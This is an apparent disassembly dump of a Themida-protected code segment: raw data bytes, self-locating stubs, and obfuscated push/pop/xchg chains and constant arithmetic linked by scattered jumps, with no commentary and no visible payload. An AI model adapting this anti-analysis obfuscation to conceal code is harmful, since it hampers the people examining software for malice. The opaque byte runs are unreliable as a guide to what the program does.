		dd 3000506Dh, 0B00050A2h, 0C50050DEh, 0F80050B5h, 5D005073h
		dd 66005146h, 0BA005084h, 17005103h, 4A005107h,	3000506Fh
		dd 40050B6h, 41005121h,	5C005016h, 0D005044h, 0BE00513Ch
		dd 3D004FFCh, 0A1005124h, 27005134h, 71005044h,	47004FFFh
		dd 7700507Ah, 4900505Fh, 3900514Ch, 0DA005007h,	63005078h
		dd 40050A3h, 0D6005040h, 0AE005139h, 0BF005061h, 0FB005004h
		dd 6E0050C6h, 5B005083h, 0E200510Eh, 53004FFBh,	0E900513Fh
		dd 0E4005064h, 270050AEh, 93004FF9h, 55005121h,	0AD005043h
		dd 1C00512Fh, 24005029h, 8E00501Ch, 4100503Fh, 58005003h
		dd 2D005120h, 4F0050FEh, 7D005086h, 0EA005033h,	3200503Fh
		dd 3F0050C6h, 0CC00503Dh, 64005135h, 7400507Fh,	7E005072h
		dd 220050E1h, 560050EAh, 460050F2h, 0ED0050F6h,	0C00500Fh
		dd 57005146h, 3F005056h, 610050B2h, 780050F8h, 0FB0050E2h
		dd 3C0050F7h, 0A300513Ah, 0DA00502Ch, 0E30050CDh, 0EB00510Ah
		dd 120050BFh, 68005132h, 930050DEh, 0F00513Ah, 2E00508Bh
		dd 7C00506Fh, 0D700501Dh, 80050F1h, 80005049h, 0BD0050A2h
		dd 0A80050E8h, 0F6005006h, 10005122h, 58005104h, 0A4005072h
		dd 0B6005036h, 0EB005098h
		db 35h,	51h, 0
; ---------------------------------------------------------------------------

loc_4FF7CF:				; CODE XREF: Themida_:005461C7j
					; Themida_:005515BAj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 604474Ah
		mov	eax, edi
		add	edi, 6044462h
		cmp	eax, [edi+2Ch]
		jnz	short loc_4FF7ED
		jmp	short loc_4FF800
; ---------------------------------------------------------------------------

loc_4FF7ED:				; CODE XREF: Themida_:004FF7E9j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_4FF7FC
; ---------------------------------------------------------------------------

loc_4FF7F7:				; CODE XREF: Themida_:004FF7FEj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_4FF7FC:				; CODE XREF: Themida_:004FF7F5j
		or	ecx, ecx
		jnz	short loc_4FF7F7

loc_4FF800:				; CODE XREF: Themida_:004FF7EBj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_4FF80D:				; CODE XREF: Themida_:004FF814j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_4FF80D

loc_4FF816:				; CODE XREF: Themida_:loc_5003F2j
					; Themida_:00500BF7j ...
		lodsb
		push	dx
		mov	dl, 0E9h
		add	al, 0C2h
		add	al, dl
		sub	al, 0C2h
		mov	dx, [esp]
		push	138h
		jmp	loc_514C33
; ---------------------------------------------------------------------------
		db 81h
		dd 710982C5h, 52F5811Eh, 291F8F5Dh, 4F6FE9E9h, 0DF290001h
		dd 13C1AE9h
		db 0
; ---------------------------------------------------------------------------

loc_4FF849:				; CODE XREF: Themida_:00501257j
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		push	edx
		push	2B50445Fh
		pop	edx
		jmp	loc_50D12A
; ---------------------------------------------------------------------------
		dd 0D1685156h, 8B135817h, 0C481240Ch, 4, 2404FF51h, 4F6BE9h
		dd 0C3315E00h, 6C6C68h,	240C8900h, 75C7BB53h, 0D9892F57h
		dd 8BCA015Bh, 0C481240Ch, 4, 49BDEA81h,	70E92C1Bh, 810000C4h
		dd 672848C5h, 81D5010Ch, 672848EDh, 70BEE90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FF8B2:				; CODE XREF: Themida_:0050026Ej
		mov	ecx, edx
		pop	edx
		or	ebp, ecx
		pop	ecx
		jmp	loc_501A89
; ---------------------------------------------------------------------------

loc_4FF8BD:				; CODE XREF: Themida_:00514428j
		push	edx
		jmp	loc_509711
; ---------------------------------------------------------------------------
aUrQsq		db 'RQq',0
		dd 0D2B35300h, 0C087EB80h, 65E908EBh
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FF8DB:				; CODE XREF: Themida_:0050F722j
		push	ebp
		mov	ebp, 754001C2h
		push	ebx
		push	10D2h
		mov	[esp], edi
		mov	edi, 5A2C4E82h
		mov	ebx, edi
		pop	edi
		or	ebp, ebx
		pop	ebx
		not	ebp
		sub	esp, 4
		jmp	loc_5064D4
; ---------------------------------------------------------------------------
		db 87h
		dd 5A5C2404h, 0FFFF0DE9h, 0E9D829FFh, 2C16h, 4C481h, 0BA520000h
		dd 4, 13FFBA52h, 7E93E6Ah, 66000081h, 0E924048Bh, 6974h
; ---------------------------------------------------------------------------

loc_4FF930:				; CODE XREF: Themida_:00511F5Dj
		xchg	ebx, [esp]
		pop	esp
		or	edi, 4EAB7599h
		shl	edi, 1
		add	edi, 22090006h
		add	ebp, 65653EB8h
		add	ebp, edi
		sub	esp, 4
		jmp	loc_51272C
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28100h, 87000000h, 15C2414h,	713E05D8h, 0F4E90B64h
		dd 100005Ah, 0C1A0E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FF97A:				; CODE XREF: Themida_:005147DEj
		sub	ebp, 64240988h
		push	edi
		mov	edi, 52BF7EC5h
		not	edi
		jmp	loc_5096D1
; ---------------------------------------------------------------------------
aSQ		db '[<Q',0
		dw 8F00h
		dd 0BA522404h, 3E8146F2h, 0A57CA81h, 0F2811BD1h, 3FD14EF3h
		dd 4245401h, 24048F5Ah,	4240483h, 0E1BD555Ah, 52463815h
		dd 3B00E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FF9C2:				; CODE XREF: Themida_:0050DC83j
		push	bx
		push	eax
		mov	ah, 58h
		mov	bl, ah
		pop	eax
		push	ecx
		mov	cl, 17h
		sub	al, cl
		pop	ecx
		jmp	loc_50875C
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 790AE9h
		db 0
; ---------------------------------------------------------------------------

loc_4FF9DD:				; CODE XREF: Themida_:0050EA7Aj
		pop	esp

loc_4FF9DE:				; CODE XREF: Themida_:0050F7EDj
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	367D26E2h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50E1DA
; ---------------------------------------------------------------------------

loc_4FF9FE:				; CODE XREF: Themida_:00505881j
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		sub	ebp, 66325122h
		sub	ebp, ecx
		add	ebp, 66325122h
		jmp	loc_50E440
; ---------------------------------------------------------------------------

loc_4FFA16:				; CODE XREF: Themida_:005142AFj
		mov	[esp], ebx
		jmp	loc_512B10
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 94685524h, 5D03FA52h, 0D85DED81h, 0EB89B4A8h, 0B5BA525Dh
		dd 0E9646172h, 9C5Ah
; ---------------------------------------------------------------------------

loc_4FFA3C:				; CODE XREF: Themida_:0050FED3j
		mov	edi, 17867A44h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 133434Ch
		dec	edi
		shl	edi, 1
		jmp	loc_5111FC
; ---------------------------------------------------------------------------

loc_4FFA57:				; CODE XREF: Themida_:00513A4Fj
		add	esp, 4
		jmp	loc_500E17
; ---------------------------------------------------------------------------
aSs9t		db 'S9t',0
		align 4
		dd 0F5C66005h, 58C5218Bh, 0FFFFBF57h, 0FBE9FFFFh
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFA7B:				; CODE XREF: Themida_:00504C3Bj
		mov	ebp, edx
		pop	edx
		mov	edi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_510652
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 0A1E68h,	241C8900h, 882825BBh, 8E3C130h
		dd 0DB04C381h, 0DF0177D7h, 0D9BB535Bh, 0E94DE921h, 8D1Ch
		dd 59EC88h, 24048BE7h, 8A49E9h,	46EE8100h, 19F7651h, 2434FFF1h
		dd 0F694E9h, 243C8900h,	0BC43E9h, 24448100h, 11550E04h
		dd 39BB5317h, 8176120Ah, 0B082444h, 2935B55Bh, 8108245Ch
		dd 0B08246Ch, 8B35B55Bh, 8952241Ch, 4C281E2h, 81000000h
		dd 4C2h, 0CA76E900h, 34FF0000h,	912DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFB1A:				; CODE XREF: Themida_:00509C61j
		push	ebx
		jmp	loc_50D218
; ---------------------------------------------------------------------------
		dd 0FFFFFFBAh, 5AD329FFh, 0D7F7FB87h, 8BE9FB87h, 66000028h
		dd 6824048Bh, 3815h, 129B4E9h, 2DE80100h, 596963EAh, 0ABB535Dh
		dd 0F7173378h, 0A43E9DBh, 0BB530001h, 2, 5D00EA81h, 0DA013E87h
		dd 5D00C281h, 4FE93E87h, 3300006Eh, 0FF5C2404h,	34FF2434h
		dd 2434FF24h, 5024048Bh, 405E089h, 0E9000000h, 10E5Ah
; ---------------------------------------------------------------------------

loc_4FFB8C:				; CODE XREF: Themida_:00508FB6j
		add	edi, esi
		jmp	loc_503B78
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 242C8700h, 7E3FE9h
		db 0
; ---------------------------------------------------------------------------

loc_4FFBA9:				; CODE XREF: Themida_:00511353j
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_50A90C
; ---------------------------------------------------------------------------

loc_4FFBB8:				; CODE XREF: Themida_:005037EAj
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50E8DD
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 59h
		dd 8324048Bh, 0FF6604C4h, 0FC34E930h, 8B66FFFFh, 0E955240Ch
		dd 146B0h
; ---------------------------------------------------------------------------

loc_4FFBEC:				; CODE XREF: Themida_:005142F2j
		push	ebx
		mov	bl, ch
		jmp	loc_50F572
; ---------------------------------------------------------------------------
		dd 42474FFh, 81243C8Bh,	4C4h, 24048F00h, 8924248Bh, 0E0892404h
		dd 405h, 4EC8300h, 82E9E9h, 0FBF8E900h,	0B951FFFFh, 3D1869FAh
		dd 105FEE9h, 14F65100h,	0C471E924h, 0EAB80000h,	0C1147451h
		dd 0E0C105E0h, 5D8F702h, 5822CE41h, 8F3EF81h, 0C70152A3h
		dd 8F3C781h, 315852A3h,	2434FFFBh, 192E95Fh, 4870000h
		dd 0B9515C24h, 4, 8759CE29h, 248B2434h,	6B99E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFC76:				; CODE XREF: Themida_:005071B2j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_50FEA1
; ---------------------------------------------------------------------------

loc_4FFC85:				; CODE XREF: Themida_:00514233j
		add	edi, 4
		push	eax
		mov	eax, 2
		push	esi
		mov	esi, 511541C2h
		and	esi, 2FC15B5Ch
		xor	esi, 45B77076h
		jmp	loc_501F6C
; ---------------------------------------------------------------------------
aTsI		db 'T|',0
		align 2
		dw 895Ch
		dd 8157242Ch, 4ECh, 0D7A4E900h,	34FF0000h, 0C8685924h
		dd 0E9000051h, 0E566h
; ---------------------------------------------------------------------------

loc_4FFCCC:				; CODE XREF: Themida_:0050328Bj
		mov	esp, [esp]
		and	eax, edx
		jmp	loc_50385D
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 96E904C4h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FFCDF:				; CODE XREF: Themida_:00514CF7j
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_50C159
; ---------------------------------------------------------------------------
		dd 3A55CA81h, 0EAC13C94h, 0E2C28102h, 42726022h, 11BE9E9h
		dd 81C50100h, 0F676DCEDh, 0ABED8140h, 5865B102h, 4EC81h
		dd 14890000h, 3EBF5724h, 0E953497Dh, 10C90h
; ---------------------------------------------------------------------------

loc_4FFD24:				; CODE XREF: Themida_:0050DC65j
		push	edx
		push	eax
		mov	al, 77h
		push	eax
		not	byte ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shl	al, 7
		sub	al, 4Ah
		mov	dl, al
		pop	eax
		push	6B08h
		mov	[esp], eax
		jmp	loc_500DF3
; ---------------------------------------------------------------------------

loc_4FFD4B:				; CODE XREF: Themida_:0050DA8Bj
		xor	ebp, 471D3CF9h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 4
		sub	eax, 2D4A677Dh
		add	eax, edx
		push	edi
		mov	edi, 6B6512DFh
		shr	edi, 6
		inc	edi
		not	edi
		shr	edi, 8
		sub	edi, 0D3B3EAEEh
		add	eax, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 2
		push	783h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5127B3
; ---------------------------------------------------------------------------

loc_4FFDB5:				; CODE XREF: Themida_:005129F8j
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 764D1CD0h
		jmp	loc_5147E3
; ---------------------------------------------------------------------------
		db 9
		dd 0F74B58C3h, 85EB81D3h, 0E9800280h, 6460h, 8104C483h
		dd 69B1CEBh, 396005E6h,	0D8017858h, 7559E9h, 68D83100h
		dd 3A2Dh, 83240C89h, 348904ECh,	333AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFE1A:				; CODE XREF: Themida_:00502123j
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_508D40
; ---------------------------------------------------------------------------

loc_4FFE2B:				; CODE XREF: Themida_:0050F4F6j
		add	esp, 4
		push	ebx
		mov	ebx, 28DE4FC4h
		shr	ebx, 7
		sub	ebx, 2B8F42E7h
		xchg	edi, ebx
		inc	edi
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		xchg	ecx, ebx
		jmp	loc_5047BA
; ---------------------------------------------------------------------------
aTsC		db '',1Bh,'',0
		align 4
		dd 24148966h, 0B6E4B551h, 5708E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFE62:				; CODE XREF: Themida_:005018AAj
		pop	eax
		add	esp, 4
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 33C905B4h
		jmp	loc_50B2C9
; ---------------------------------------------------------------------------
		dd 0E904C483h, 1169Ch, 5A2434FFh, 4C481h, 55530000h, 53455D5Bh
		dd 1028CE9h, 0FFED8100h, 57FFFFFFh, 1BFh, 0AA25E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFEA6:				; CODE XREF: Themida_:0050DA9Ej
		dec	ebp
		jmp	loc_5085D6
; ---------------------------------------------------------------------------
		dd 4EC8357h, 0E9242489h, 105Eh
; ---------------------------------------------------------------------------

loc_4FFEB8:				; CODE XREF: Themida_:00514311j
		push	esp
		pop	dword ptr [esp]
		push	56B1h
		mov	[esp], ebp
		push	4
		pop	ebp
		jmp	loc_502536
; ---------------------------------------------------------------------------
		db 89h
		dd 34FF2404h, 0D1E95824h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FFEDB:				; CODE XREF: Themida_:0050B55Bj
		push	edx
		mov	dl, 20h
		or	dl, 3Ah
		add	dl, 1
		add	dl, 8
		xor	dl, 32h
		jmp	loc_50F942
; ---------------------------------------------------------------------------

loc_4FFEEF:				; CODE XREF: Themida_:00511800j
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		pop	eax
		push	13EAh
		jmp	loc_50D28D
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF572414h, 0A6B67D5h, 9E9FA89h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FFF13:				; CODE XREF: Themida_:0050EF90j
		pop	esp
		jmp	loc_50F0DB
; ---------------------------------------------------------------------------

loc_4FFF19:				; CODE XREF: Themida_:00513FC5j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_509A58
; ---------------------------------------------------------------------------

loc_4FFF3E:				; CODE XREF: Themida_:00509100j
		pop	esi
		jmp	loc_5097D1
; ---------------------------------------------------------------------------
		dd 5503EBC1h, 0B737C4BDh, 5DEB0135h, 4FA8BF57h,	0CF812604h
		dd 498F0EF9h, 1FA2CF81h, 0DFF775C5h, 0F781D7F7h, 0B8AC842Dh
		dd 0AF03E9h, 24048B00h,	380768h, 241C8900h, 0BEF1E954h
		dd 0E8000000h, 2CD82859h, 0E91Eh, 68660000h, 8966707Fh
		dd 6DB22414h, 0D0289D04h, 82E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_4FFFA1:				; CODE XREF: Themida_:005039D1j
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		jmp	loc_51439F
; ---------------------------------------------------------------------------
		dd 4BEh, 0E9F32900h, 7190h, 0E1C38166h,	0C3296625h, 0E1EB8166h
		dd 0C3816625h, 81663801h, 0E90B4FEBh, 2239h, 425BF581h
		dd 7BE97AA0h, 81000030h, 0C83237C7h, 0A2BD551Dh, 4D324F3Fh
		dd 328BE581h, 0DE913EBh
		db 6, 1, 0
; ---------------------------------------------------------------------------

loc_4FFFF7:				; CODE XREF: Themida_:00506EB6j
		pop	esi
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edi
		push	esi
		mov	esi, 737C294Ch
		sub	ecx, esi
		pop	esi
		jmp	loc_503314
; ---------------------------------------------------------------------------
		db 0FFh
a4SP		db '4$鷯',0
		dw 0C100h
		dd 0EED102E6h, 14C8C681h, 0D6F71654h, 0E0A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_50002D:				; CODE XREF: Themida_:00511BDCj
		add	ecx, 4
		push	esi
		sub	esp, 4
		jmp	loc_5010CC
; ---------------------------------------------------------------------------
aIcsO		db '',0
		dw 8700h
		dd 685C241Ch, 523h, 0E171E9h, 0F8295A00h, 24148B5Fh, 5E08950h
		dd 4, 0C79FE9h
		db 0
; ---------------------------------------------------------------------------

loc_500065:				; CODE XREF: Themida_:00513BECj
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_5003CE
; ---------------------------------------------------------------------------
		db 0BDh, 4, 61h
aESu		db 'e<',0
		db 1, 0
; ---------------------------------------------------------------------------

loc_50007B:				; CODE XREF: Themida_:0050510Ej
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_50888D
; ---------------------------------------------------------------------------

loc_500087:				; CODE XREF: Themida_:0050A1C0j
		add	eax, 1
		add	eax, 643C0420h
		jmp	loc_500646
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0BD5504C4h, 4, 34FFEE01h,	242C8B24h, 8304C483h
		dd 343304C4h, 24343124h, 8B243433h, 4312424h, 0C1E99C24h
		dd 5900011Eh, 8104EEC1h, 4ECh, 240C8900h, 1B9h,	464DE900h
		dd 2C310001h, 242C3324h, 13371E9h, 81E78900h, 4C7h, 4EF8300h
		dd 5C243C87h, 0B9240C89h, 191017DFh, 8106E9C1h,	0DE6FDDE9h
		dd 7EC18171h, 83717A2Fh, 0C8904ECh, 82BB5324h, 57390466h
		dd 0CF3809BFh, 2444815Fh, 3E1A5A08h, 247C0151h,	5ABF5708h
		dd 29513E1Ah, 0E90C247Ch, 13FD6h, 13E768h, 24048900h, 79E94DB4h
		dd 0B700004Ch, 0A6B15148h, 0C180D1F6h, 59CF2008h, 0E971B050h
		dd 606Ah
; ---------------------------------------------------------------------------

loc_50015C:				; CODE XREF: Themida_:00507359j
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ecx
		push	4
		pop	ecx
		push	1E38h
		mov	[esp], esi
		jmp	loc_50EF9A
; ---------------------------------------------------------------------------

loc_50017B:				; CODE XREF: Themida_:0050F8D4j
		pop	esi
		jmp	loc_510C56
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0D9h
		dd 14BA956h, 1CE7E9FAh,	0E9F60001h, 0CCB60F66h,	63936866h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFF66Eh
; ---------------------------------------------------------------------------

loc_5001A8:				; CODE XREF: Themida_:0051406Cj
		push	esi
		mov	esi, 626F7EFAh
		sub	edx, esi
		pop	esi
		add	edx, eax
		push	ecx
		mov	ecx, 3C354DBBh
		shr	ecx, 2
		neg	ecx
		xor	ecx, 52F35C1Ah
		sub	ecx, 21E15469h
		xor	ecx, 0E24FE2E5h
		add	edx, ecx
		pop	ecx
		push	726h
		mov	[esp], ecx
		jmp	loc_501A05
; ---------------------------------------------------------------------------

loc_5001E0:				; CODE XREF: Themida_:00508F2Bj
		add	ebx, esi
		pop	esi
		jmp	loc_510CD2
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFFF626h
; ---------------------------------------------------------------------------

loc_5001F0:				; CODE XREF: Themida_:00502FFDj
		pop	esi
		push	4A67h
		jmp	loc_505E95
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E58107E5h, 58F82741h, 0BEA9ED81h, 0EE21B685h, 4E6C15Dh
		dd 6FBBBF57h, 0B8506542h, 7666182Dh, 5327242Dh,	65E9570Fh
		dd 2100013Bh, 243C8BFBh, 0F704C483h, 6EBC1D3h, 89DAB951h
		dd 0CB013EF0h, 774C0559h, 0D8011567h, 67774C2Dh, 241C8B15h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 4872C381h, 1FE91142h
		db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_500267:				; CODE XREF: Themida_:00504697j
		pop	edx
		xor	edx, 9D7FDFh
		jmp	loc_4FF8B2
; ---------------------------------------------------------------------------

loc_500273:				; CODE XREF: Themida_:0051439Aj
		add	edx, 4
		jmp	loc_50E108
; ---------------------------------------------------------------------------
		db 0F6h
		dd 80DDF6D5h, 0A9E955F5h, 5800002Dh, 6782EA81h,	0CA016713h
		dd 7152BF57h, 0E9476A13h, 1107Fh, 8124348Bh, 4C4h, 47D1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_512ADA
; ---------------------------------------------------------------------------
		dd 4EF81h, 3C870000h, 0BCE95C24h, 40000A5h, 2CE82861h
		dd 3DD0E961h, 0C4810001h, 4, 12D90E9h
		db 0
; ---------------------------------------------------------------------------

loc_5002DD:				; CODE XREF: Themida_:005031D6j
		add	ecx, 0A4FBF9E3h
		push	edi
		jmp	loc_500E05
; ---------------------------------------------------------------------------

loc_5002E9:				; CODE XREF: Themida_:00513FB9j
		add	esi, 1
		sub	esi, 570F0D20h
		jmp	loc_502338
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5F416804h, 0C890000h, 31E95724h, 0FFFFFFFDh,	0E95B2434h
		dd 276Ch
; ---------------------------------------------------------------------------

loc_500314:				; CODE XREF: Themida_:005069B9j
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_509957
; ---------------------------------------------------------------------------
		dd 0BE243489h, 3A34536Bh, 90E9F029h, 66000023h,	51240C8Bh
		dd 0A16AE9h, 0E3895300h, 3647E9h, 80C6B300h, 0DD88D6F3h
		dd 3DD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_500355:				; CODE XREF: Themida_:005089E3j
		mov	[esp], ebx
		jmp	loc_513C56
; ---------------------------------------------------------------------------

loc_50035D:				; CODE XREF: Themida_:00500494j
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_501C6A
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 2D050A29h, 13D9BE9h,	89FA8900h, 24148BD1h, 4C481h, 3C8B0000h
		dd 0F79AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50038E:				; CODE XREF: Themida_:0050DFC0j
		mov	ebx, 6B6D6E01h
		jmp	loc_5065D1
; ---------------------------------------------------------------------------
		dd 324538BFh, 5FF83113h, 158C731h, 0C1815FF9h, 2, 2474FF51h
		dd 2434FF04h, 0E3895359h, 4C381h, 0C3830000h, 241C8704h
		dd 24048F5Ch, 1572E95Ch
		db 1, 0
; ---------------------------------------------------------------------------

loc_5003CE:				; CODE XREF: Themida_:0050006Cj
		mov	ebx, 10h
		mov	edi, ebx
		pop	ebx
		and	ebx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	esi
		push	ebp
		jmp	loc_5058DD
; ---------------------------------------------------------------------------
aRs3		db 'R3',0
		dw 4B00h
aWsm		db 'Wm',0
		align 2

loc_5003F2:				; CODE XREF: Themida_:00512550j
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 1
		dd 9201E9FBh, 835B0000h, 0CE8004C4h, 0F1EE8008h, 8008E6C0h
		dd 0F000D2C6h, 4EC835Ah, 0B6241489h, 1DDFE994h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50041E:				; CODE XREF: Themida_:0051344Aj
		add	edx, eax
		pop	eax
		jmp	loc_503D82
; ---------------------------------------------------------------------------

loc_500426:				; CODE XREF: Themida_:005148D7j
		push	esi
		mov	esi, 31F15DB1h
		jmp	loc_500800
; ---------------------------------------------------------------------------

loc_500431:				; CODE XREF: Themida_:0051083Ej
		sub	ecx, 0E3BC0A09h
		mov	ebx, 14B70E48h
		jmp	loc_514045
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 1000000h, 0FF5758C7h, 5F042474h, 5C24048Fh, 8904EC83h
		dd 0BF572404h, 6FC82463h, 9FF5E9h, 3E6C100h, 49A4E9h, 4C685700h
		dd 0E9000055h, 7943h
; ---------------------------------------------------------------------------

loc_500478:				; CODE XREF: Themida_:00502BABj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_50035D
; ---------------------------------------------------------------------------

loc_500499:				; CODE XREF: Themida_:00501FB3j
		add	esi, edi
		pop	edi
		sub	esi, 4
		jmp	loc_50E438
; ---------------------------------------------------------------------------
		dd 11BB5342h, 4B22F673h, 0BF57DBF7h, 0E0F649Eh,	3D72CF81h
		dd 7DE91054h, 8B00006Bh, 31682414h, 8900006Ch, 89562404h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 0EFBE95Ch
		db 1, 0
; ---------------------------------------------------------------------------

loc_5004E2:				; CODE XREF: Themida_:005005ADj
		mov	esi, 56DA5FCDh
		sub	esi, 55FD2005h
		sub	eax, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	4
		pop	esi
		push	ebx
		mov	ebx, 31F77B5Bh
		add	ebx, 3D9BEF06h
		sub	eax, ebx
		pop	ebx
		sub	eax, esi
		push	ebp
		mov	ebp, 5310201Fh
		jmp	loc_5130CB
; ---------------------------------------------------------------------------

loc_500519:				; CODE XREF: Themida_:0050D960j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	2284h
		mov	[esp], ebx
		jmp	loc_50B372
; ---------------------------------------------------------------------------

loc_500538:				; CODE XREF: Themida_:0050297Cj
		add	edi, 0F4A3C63Ah
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_500C48
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 2C904F17h, 12455E9h,	0D3E95C00h, 680000B5h, 5140h, 0B7241C89h
		dd 0CC23E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50056A:				; CODE XREF: Themida_:0050DC6Fj
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5057EB
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 1F71685Ch, 2C890000h, 2474FF24h, 1BDCE904h, 54550001h
		dd 0E9242C8Bh, 0E8FDh, 240C8B66h, 2C8B5455h, 0E9545624h
		dd 12F3Fh
; ---------------------------------------------------------------------------

loc_5005AC:				; CODE XREF: Themida_:00503ED1j
		push	esi
		jmp	loc_5004E2
; ---------------------------------------------------------------------------

loc_5005B2:				; CODE XREF: Themida_:0050EFDFj
		add	eax, edx
		add	eax, 64734E97h
		sub	eax, 238126BFh
		push	ebp
		push	esi
		jmp	loc_50115E
; ---------------------------------------------------------------------------

loc_5005C5:				; CODE XREF: Themida_:00502E1Fj
		add	[esp+8], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_50A658
; ---------------------------------------------------------------------------

loc_5005EC:				; CODE XREF: Themida_:00505C30j
		push	esi
		mov	esi, 50CA4FAFh
		push	ebp
		mov	ebp, 0F3CEF3F5h
		add	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50F5A3
; ---------------------------------------------------------------------------
